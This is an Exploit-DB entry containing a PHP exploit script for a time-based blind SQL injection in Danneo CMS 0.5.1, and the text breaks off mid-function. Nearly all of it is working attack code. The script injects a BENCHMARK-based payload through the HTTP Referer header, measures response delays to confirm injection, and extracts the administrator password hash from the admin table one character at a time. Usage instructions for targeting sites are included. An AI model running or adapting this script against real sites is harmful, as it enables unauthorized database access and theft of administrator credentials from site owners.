Exploit-DB #5239
Description: Danneo CMS 0.5.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-03-11
Author: InATeam

Exploit:
<?php
## Danneo CMS <= 0.5.1 Remote Blind SQL Injection Exploit
## Software site: http://www.danneo.com/
## By InATeam (http://inattack.ru/)
## Requires "Referers statistics" option turned ON!

echo "------------------------------------------------------------\n";
echo "Danneo CMS <= 0.5.1 Remote Blind SQL Injection Exploit\n";
echo "(c)oded by Raz0r, InATeam (http://inattack.ru/)\n";
echo "Requires \"Referers statistics\" option turned ON!\n";
echo "------------------------------------------------------------\n";

if ($argc<2) {
   echo "USAGE:\n";
   echo "~~~~~~\n";
   echo "php {$argv[0]} [url] OPTIONS\n\n";
   echo "[url]        - target server where Danneo CMS is installed\n\n";
   echo "OPTIONS:\n";
   echo "-p=<prefix>  - use specific prefix\n";
   echo "-id=<id>     - use specific user id (default 1)\n";
   echo "-c=<count>   - benchmark()'s loop count (default 300000)\n";
   echo "-v           - verbose mode\n\n";
   echo "tip:\n";
   echo "use bigger number of <count> if server is slow\n\n";
   echo "php {$argv[0]} http://site.com/ -p=cms_\n";
   echo "php {$argv[0]} http://cms.site.com:8080/ -id=2\n";
   die;
}

error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",25);
$url = $argv[1];
for($i=2;$i<$argc;$i++) {
   if(strpos($argv[$i],"=")!=false) {
       $exploded=explode("=",$argv[$i]);
       if ($exploded[0]=='-p') $prefix = $exploded[1];
       if ($exploded[0]=='-id') $id = $exploded[1];
       if ($exploded[0]=='-c') $benchmark = $exploded[1];
   }
   elseif($argv[$i] == '-v') $verbose=true;
}
if (!isset($id)) $id = 1;
if (!isset($benchmark)) $benchmark = 300000;
if (!isset($verbose)) $verbose=false;
$url_parts = parse_url($url);
$host = $url_parts['host'];
$port = (isset($url_parts['port']) ? $url_parts['port'] : 80);
$path = $url_parts['path'];
$query_pattern   = "-99' OR IF(%s,BENCHMARK(%d,MD5(31337)),1)/*";
$verbose_pattern = "%-12s %2d: %s";
print "[~] Testing probe delays...\n";
$ok=true; $nodelay=0; $withdelay=0;
for ($i=1;$i<=3;$i++){
   $query = sprintf($query_pattern, "1=1", 1);
   $fdelay = dorequest($query,false,true);
   if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;}
   $query = sprintf($query_pattern, "1=1", $benchmark);
   $sdelay = dorequest($query,false,true);
   if ($sdelay!==false) $withdelay+=$sdelay;  else {$ok=false;break;}
   if ($sdelay<=($fdelay*2)) {$ok=false;break;}
   usleep($benchmark/1000); $delay=false;
}
if ($ok) {
   $nondelayed = $nodelay/3;
   print "[+] Average nondelayed queries response time: ".round($nondelayed,1)." dsecs\n";
   $delayed = $withdelay/3;
   print "[+] Average delayed queries response time: ".round($delayed,1)." dsecs\n";
}
else die("[-] Exploit failed\n");

if (isset($GLOBALS['version'])) {
   echo "[+] Version {$GLOBALS['version']} has been detected\n";
   $v = str_replace(".","",$GLOBALS['version']);
}
if (isset($prefix)) {$usedprefix = $prefix; echo "[~] Using prefix $prefix\n";}
elseif (isset($v)) {$usedprefix = "dn{$v}_"; echo "[~] Using prefix dn{$v}_\n";}
else {$usedprefix = "dn_"; echo "[~] Using prefix dn_\n";}

print "    Getting hash...";
if ($verbose) {print "\r[~]"; print "\n";}
$hash='';
for($i=1; $i<=32; $i++) {
   $chr = gethashchar($i);
   if($chr!==false) $hash .= $chr;
   else {
       $chr = gethashchar($i);
       if ($chr !==false)$hash .= $chr;
       else die("\n[-] Exploit failed\n");          }   }
if (!$verbose) {print "\r[~]"; print "\n";}
print "[+] Result: {$hash}\n";

function gethashchar ($pos) {
   global $query_pattern,$verbose_pattern,$usedprefix,$id,$benchmark,$verbose;
   $inj = "ORD(SUBSTRING((SELECT adpwd FROM {$usedprefix}admin WHERE admid={$id}),{$pos},1))";
   $query = sprintf($query_pattern, $inj.">57", $benchmark*4);
   $success = condition($query);
   if (!$success) {
       if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [0-9]\n");
       $min = 48;
       $max = 57;          }
   else {
       if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [a-f]\n");
       $min = 97;
       $max = 102;          }
   for($i=$min;$i<=$max;$i++) {
       $query = sprintf($query_pattern, $inj."=".$i, $benchmark*4);
       $success = condition($query);
       if ($success) {
           $query = sprintf($query_pattern, $inj."<>".$i, $benchmark*4);
           $recheck = condition($query);
           if (!$recheck) {
               $chr = chr($i);
               if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is {$chr}\n");
               return $chr;
           }
       }
   }
   return false;
}
function condition($query) {
   global $delayed,$benchmark,$verbose,$verbose_pattern;
   for($attempt = 1; $attempt <= 10; $attempt++){
       $delay = dorequest($query,true);
       if ($delay === false) {
           if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"error\n");
       }
       else {
           if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"success (delay is ".sprintf("%-3d",$delay)." dsecs)\n");                      break;
       }
   }
   if ($attempt == 10) die("[-] Exploit failed\n");
   if($delay > ($delayed * 2)) {
       usleep(($benchmark*4)/1000);
       return true;      }
   return false;
}
function dorequest($query,$gethash=false,$getversion=false) {
   global $host,$port,$path,$verbose;
   if ($gethash&&!$verbose) status();
   $start = getmicrotime();
   $s = fsockopen(gethostbyname($host),$port);
   if (!$s) return false;
   else {
       $packet  = "GET {$path}index.php HTTP/1.0\r\n";
       $packet .= "Host: {$host}\r\n";
       $packet .= "User-Agent: InAttack User Agent\r\n";
       $packet .= "Referer: {$query}\r\n";
       $packet .= "Connection: Close\r\n\r\n";
       fputs($s, $packet);
       $html='';
       while (!feof($s)) $html.=fgets($s);
       if ($getver